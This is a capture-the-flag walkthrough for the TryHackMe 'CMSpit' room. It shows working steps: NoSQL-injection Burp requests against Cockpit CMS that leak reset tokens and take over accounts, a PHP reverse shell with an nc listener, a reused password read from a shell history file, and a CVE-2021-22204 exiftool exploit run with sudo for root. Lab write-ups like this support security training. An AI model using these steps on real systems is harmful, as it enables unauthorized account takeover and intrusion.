# CMSpit

**Room Link:** [https://tryhackme.com/room/cmspit](https://tryhackme.com/room/cmspit)

## Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fsayd64C1mFhO59N2V8Jc%2Fimage.png?alt=media&#x26;token=5dd29032-f59e-4b92-b156-50550dc17301" alt=""><figcaption></figcaption></figure>

## Scan all ports

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F2NVVVdM0UN9qJX1NFCI0%2Fimage.png?alt=media&#x26;token=ea3cab99-47fc-45fb-8c24-25adf471302d" alt=""><figcaption></figcaption></figure>



## TCP/80 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```



CMS Version is 0.11.1

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FUIflBfihWd5caaR8MHvI%2Fimage.png?alt=media&#x26;token=5949ce88-fbeb-42df-8034-946cacb40686" alt=""><figcaption></figcaption></figure>

### User account compromise

This CMS version has a exploit to help us find users.

**Exploit:** [**https://swarm.ptsecurity.com/rce-cockpit-cms/**](https://swarm.ptsecurity.com/rce-cockpit-cms/)[ ](https://swarm.ptsecurity.com/rce-cockpit-cms/)



**Burp**

```
GET /auth/requestreset HTTP/1.1
Host: 10.10.198.113
Content-Length: 25
Content-type: application/json

{
  "user":"admin"
}
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Ft3F0iCY3AKmHrsWqI6uI%2Fimage.png?alt=media&#x26;token=bb8be126-15cd-49db-aafd-e533dbf4e4ca" alt=""><figcaption></figcaption></figure>



**Burp**

```
GET /auth/resetpassword HTTP/1.1
Host: 10.10.198.113
Content-Length: 38
Content-type: application/json

{
"token":{
"$func":"var_dump"
}
}
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F1vnhCxx9hmcFeGTbbl0J%2Fimage.png?alt=media&#x26;token=0ee61dd3-edb7-4f23-bfb4-efc0a46b5896" alt=""><figcaption></figcaption></figure>

**Burp**

```
GET /auth/newpassword HTTP/1.1
Host: 10.10.198.113
Content-Length: 66
Content-type: application/json

{
"token":"rp-25badb6dbd66e39732cc3abf8122ba9065b6ee57e7610"
}

```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FboSRtllxIXLkzONyVKdn%2Fimage.png?alt=media&#x26;token=fecd961e-6d0b-4b02-ab14-7a4b0ac6b0a3" alt=""><figcaption></figcaption></figure>

Did the same thing for user skidy

**Burp**

```
GET /auth/newpassword HTTP/1.1
Host: 10.10.198.113
Content-Length: 66
Content-type: application/json

{
"token":"rp-4472f7f85a07bbc1b08d917a298ad0f365b6e7ce6d85e"
}

```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F1CauTmd6EAgbubXg0SmW%2Fimage.png?alt=media&#x26;token=6fa158de-3afe-4955-8417-da31b221a51f" alt=""><figcaption></figcaption></figure>

I don't know if the last part was really necessary. I think maybe the reset token can be different then the other token in which case the above step would be necessary but its the same so I just updated the password for skidy.

**Burp**

```
GET /auth/resetpassword HTTP/1.1
Host: 10.10.198.113
Content-Length: 88
Content-type: application/json

{
"token":"rp-4472f7f85a07bbc1b08d917a298ad0f365b6e7ce6d85e",
"password":"hacked"
}

```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F3jnMTfjZb6cN2gIsffT4%2Fimage.png?alt=media&#x26;token=0fd23c99-705b-4b02-ba7b-7203299bfd08" alt=""><figcaption></figcaption></figure>

I can now login as Skidy

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FmwkkkhbSYMaeOE3FUMby%2Fimage.png?alt=media&#x26;token=cfb27a58-3aac-4c56-b0c2-4b33a77aca92" alt=""><figcaption></figcaption></figure>



## Initial Shell

**Kali**

```
git clone https://github.com/pentestmonkey/php-reverse-shell.git
cp php-reverse-shell/php-reverse-shell.php .
nc -lvnp 1234 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fjiw0cr3HzeV32YR7sY09%2Fimage.png?alt=media&#x26;token=22bd7a00-2ea6-42e2-b6f2-a6329aa23c63" alt=""><figcaption></figcaption></figure>



<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FX0FVu1CSPmNvSJtROSOR%2Fimage.png?alt=media&#x26;token=f0ec319d-6ad4-47c6-9799-566b7b3bbc7e" alt=""><figcaption></figcaption></figure>





<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FnhQAiGfFEaOKanMigr3R%2Fimage.png?alt=media&#x26;token=21341cb4-3226-40d8-a718-044b1ce9d3fd" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F23Ekf1OBRCZs8jATIvtK%2Fimage.png?alt=media&#x26;token=2932b4f4-3b62-4fe4-86c8-90407e02f9f4" alt=""><figcaption></figcaption></figure>



<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FlgF3RMjVDUGLXNCijc8H%2Fimage.png?alt=media&#x26;token=b5170e18-28dc-4853-ad93-101b93396060" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```



## Lateral Movement (Stux)

**Victim**

```
cd /home/stux
cat .dbshell
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FyCPvb0EDI7LPgxEorGu0%2Fimage.png?alt=media&#x26;token=aeadff3b-57e0-4d14-948b-96b8ef2b736c" alt=""><figcaption></figcaption></figure>

**Victim**

```
su stux
Password: p4ssw0rdhack3d!123
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FSecrGB9KSCpmLPQnuCgB%2Fimage.png?alt=media&#x26;token=bec703a2-d704-41b5-a643-249b6481698d" alt=""><figcaption></figcaption></figure>

**Victim**

```
sudo -l
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F9y04YVGjezUQARcXuxlc%2Fimage.png?alt=media&#x26;token=27bf8573-3e46-4782-ac82-789c850905d4" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

**Exploit:** [https://github.com/convisolabs/CVE-2021-22204-exiftool/blob/master/exploit.py](https://github.com/convisolabs/CVE-2021-22204-exiftool/blob/master/exploit.py)

**Victim(receiving)**

```
nc -l -p 1234 > cve.tar.gz
```

**Kali(sending)**

```
git clone https://github.com/se162xg/CVE-2021-22204.git
tar cvf cve.tar.gz  CVE-2021-22204/
nc -w 3 $VICTIM 1234 < cve.tar.gz
```

**Victim**

```
tar xvf cve.tar.gz 
cd CVE-2021-22204
```

**Victim**

```
bash craft_a_djvu_exploit.sh '/bin/bash'
sudo /usr/local/bin/exiftool delicate.jpg 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FUTm71dmMpCgVHm5ThcnC%2Fimage.png?alt=media&#x26;token=39046acf-940f-4121-a70b-50e5cd48a0c8" alt=""><figcaption></figcaption></figure>

